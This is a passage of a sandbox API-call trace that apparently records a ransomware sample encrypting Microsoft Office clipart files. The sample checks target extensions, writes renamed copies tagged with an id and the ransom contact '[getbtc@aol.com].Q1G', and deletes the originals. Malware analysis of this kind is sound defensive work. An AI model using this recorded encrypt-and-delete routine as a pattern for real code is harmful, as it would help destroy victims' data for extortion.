Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0248.780] lstrlenW (lpString=".1cd") returned 4 [0248.780] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0248.780] lstrlenW (lpString=".jpg") returned 4 [0248.780] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.781] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.781] lstrlenW (lpString="DD01793_.WMF") returned 12 [0248.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.918] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=3252) returned 1 [0248.918] CloseHandle (hObject=0x200) returned 1 [0248.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x20 [0248.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0248.932] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.932] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0248.932] GetLastError () returned 0x0 [0248.932] ReadFile (in: hFile=0x3b0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0xcb4, lpOverlapped=0x0) returned 1 [0248.974] WriteFile (in: hFile=0x204, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xcc0, lpOverlapped=0x0) returned 1 [0248.976] ReadFile (in: hFile=0x3b0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.976] WriteFile (in: hFile=0x204, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.976] SetEndOfFile (hFile=0x204) returned 1 [0248.976] CloseHandle (hObject=0x204) returned 1 [0248.976] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.976] SetEndOfFile (hFile=0x3b0) returned 1 [0248.980] CloseHandle (hObject=0x3b0) returned 1 [0248.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.980] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf")) returned 1 [0248.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0248.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0248.981] lstrlenW (lpString=".doc") returned 4 [0248.981] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.981] lstrlenW (lpString=".docx") returned 5 [0248.981] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.981] lstrlenW (lpString=".pdf") returned 4 [0248.981] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.981] lstrlenW (lpString=".xls") returned 4 [0248.981] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.981] lstrlenW (lpString=".xlsx") returned 5 [0248.981] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.981] lstrlenW (lpString=".ppt") returned 4 [0248.981] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0248.981] lstrlenW (lpString=".zip") returned 4 [0248.981] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.981] lstrlenW (lpString=".rar") returned 4 [0248.981] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.981] lstrlenW (lpString=".bz2") returned 4 [0248.981] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.981] lstrlenW (lpString=".7z") returned 3 [0248.981] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0248.981] lstrlenW (lpString=".dbf") returned 4 [0248.981] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0248.981] lstrlenW (lpString=".1cd") returned 4 [0248.982] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0248.982] lstrlenW (lpString=".jpg") returned 4 [0248.982] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0248.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0248.982] lstrlenW (lpString=".doc") returned 4 [0248.982] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.982] lstrlenW (lpString=".docx") returned 5 [0248.982] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.982] lstrlenW (lpString=".pdf") returned 4 [0248.982] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.982] lstrlenW (lpString=".xls") returned 4 [0248.982] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.982] lstrlenW (lpString=".xlsx") returned 5 [0248.982] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.982] lstrlenW (lpString=".ppt") returned 4 [0248.982] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0248.982] lstrlenW (lpString=".zip") returned 4 [0248.982] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.982] lstrlenW (lpString=".rar") returned 4 [0248.982] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.982] lstrlenW (lpString=".bz2") returned 4 [0248.982] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.982] lstrlenW (lpString=".7z") returned 3 [0248.982] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0248.982] lstrlenW (lpString=".dbf") returned 4 [0248.982] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0248.982] lstrlenW (lpString=".1cd") returned 4 [0248.982] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0248.982] lstrlenW (lpString=".jpg") returned 4 [0248.982] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.983] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.983] lstrlenW (lpString="ED00019_.WMF") returned 12 [0248.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0248.983] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=13042) returned 1 [0248.983] CloseHandle (hObject=0x3b0) returned 1 [0248.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x20 [0248.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0248.984] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.984] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0248.984] GetLastError () returned 0x0 [0248.984] ReadFile (in: hFile=0x3b0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x32f2, lpOverlapped=0x0) returned 1 [0249.025] WriteFile (in: hFile=0x204, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x3300, lpOverlapped=0x0) returned 1 [0249.027] ReadFile (in: hFile=0x3b0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.027] WriteFile (in: hFile=0x204, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.027] SetEndOfFile (hFile=0x204) returned 1 [0249.027] CloseHandle (hObject=0x204) returned 1 [0249.027] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.027] SetEndOfFile (hFile=0x3b0) returned 1 [0249.030] CloseHandle (hObject=0x3b0) returned 1 [0249.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf")) returned 1 [0249.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0249.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0249.031] lstrlenW (lpString=".doc") returned 4 [0249.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.031] lstrlenW (lpString=".docx") returned 5 [0249.031] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.031] lstrlenW (lpString=".pdf") returned 4 [0249.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.031] lstrlenW (lpString=".xls") returned 4 [0249.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.031] lstrlenW (lpString=".xlsx") returned 5 [0249.031] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.031] lstrlenW (lpString=".ppt") returned 4 [0249.031] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0249.031] lstrlenW (lpString=".zip") returned 4 [0249.031] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.031] lstrlenW (lpString=".rar") returned 4 [0249.031] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.031] lstrlenW (lpString=".bz2") returned 4 [0249.031] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.031] lstrlenW (lpString=".7z") returned 3 [0249.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0249.032] lstrlenW (lpString=".dbf") returned 4 [0249.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0249.032] lstrlenW (lpString=".1cd") returned 4 [0249.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0249.032] lstrlenW (lpString=".jpg") returned 4 [0249.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0249.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0249.032] lstrlenW (lpString=".doc") returned 4 [0249.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.032] lstrlenW (lpString=".docx") returned 5 [0249.032] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.032] lstrlenW (lpString=".pdf") returned 4 [0249.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.032] lstrlenW (lpString=".xls") returned 4 [0249.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.032] lstrlenW (lpString=".xlsx") returned 5 [0249.032] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.032] lstrlenW (lpString=".ppt") returned 4 [0249.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0249.032] lstrlenW (lpString=".zip") returned 4 [0249.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.032] lstrlenW (lpString=".rar") returned 4 [0249.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.032] lstrlenW (lpString=".bz2") returned 4 [0249.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.032] lstrlenW (lpString=".7z") returned 3 [0249.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0249.032] lstrlenW (lpString=".dbf") returned 4 [0249.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0249.032] lstrlenW (lpString=".1cd") returned 4 [0249.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0249.033] lstrlenW (lpString=".jpg") returned 4 [0249.033] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.033] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.033] lstrlenW (lpString="ED00184_.WMF") returned 12 [0249.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0249.033] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=6958) returned 1 [0249.033] CloseHandle (hObject=0x3b0) returned 1 [0249.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x20 [0249.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0249.034] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.034] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0249.035] GetLastError () returned 0x0 [0249.035] ReadFile (in: hFile=0x3b0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1b2e, lpOverlapped=0x0) returned 1 [0249.043] WriteFile (in: hFile=0x204, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1b30, lpOverlapped=0x0) returned 1 [0249.044] ReadFile (in: hFile=0x3b0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.044] WriteFile (in: hFile=0x204, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.044] SetEndOfFile (hFile=0x204) returned 1 [0249.044] CloseHandle (hObject=0x204) returned 1 [0249.044] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.044] SetEndOfFile (hFile=0x3b0) returned 1 [0249.046] CloseHandle (hObject=0x3b0) returned 1 [0249.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.047] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf")) returned 1 [0249.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0249.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0249.047] lstrlenW (lpString=".doc") returned 4 [0249.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.047] lstrlenW (lpString=".docx") returned 5 [0249.047] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.047] lstrlenW (lpString=".pdf") returned 4 [0249.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.047] lstrlenW (lpString=".xls") returned 4 [0249.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.047] lstrlenW (lpString=".xlsx") returned 5 [0249.047] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.047] lstrlenW (lpString=".ppt") returned 4 [0249.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0249.048] lstrlenW (lpString=".zip") returned 4 [0249.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.048] lstrlenW (lpString=".rar") returned 4 [0249.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.048] lstrlenW (lpString=".bz2") returned 4 [0249.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.048] lstrlenW (lpString=".7z") returned 3 [0249.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0249.048] lstrlenW (lpString=".dbf") returned 4 [0249.048] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0249.048] lstrlenW (lpString=".1cd") returned 4 [0249.048] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0249.048] lstrlenW (lpString=".jpg") returned 4 [0249.048] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0249.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0249.048] lstrlenW (lpString=".doc") returned 4 [0249.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.048] lstrlenW (lpString=".docx") returned 5 [0249.048] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.048] lstrlenW (lpString=".pdf") returned 4 [0249.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.048] lstrlenW (lpString=".xls") returned 4 [0249.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.048] lstrlenW (lpString=".xlsx") returned 5 [0249.048] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.048] lstrlenW (lpString=".ppt") returned 4 [0249.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0249.048] lstrlenW (lpString=".zip") returned 4 [0249.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.048] lstrlenW (lpString=".rar") returned 4 [0249.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.048] lstrlenW (lpString=".bz2") returned 4 [0249.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.049] lstrlenW (lpString=".7z") returned 3 [0249.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0249.049] lstrlenW (lpString=".dbf") returned 4 [0249.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0249.049] lstrlenW (lpString=".1cd") returned 4 [0249.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0249.049] lstrlenW (lpString=".jpg") returned 4 [0249.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.049] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.049] lstrlenW (lpString="EN00202_.WMF") returned 12 [0249.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 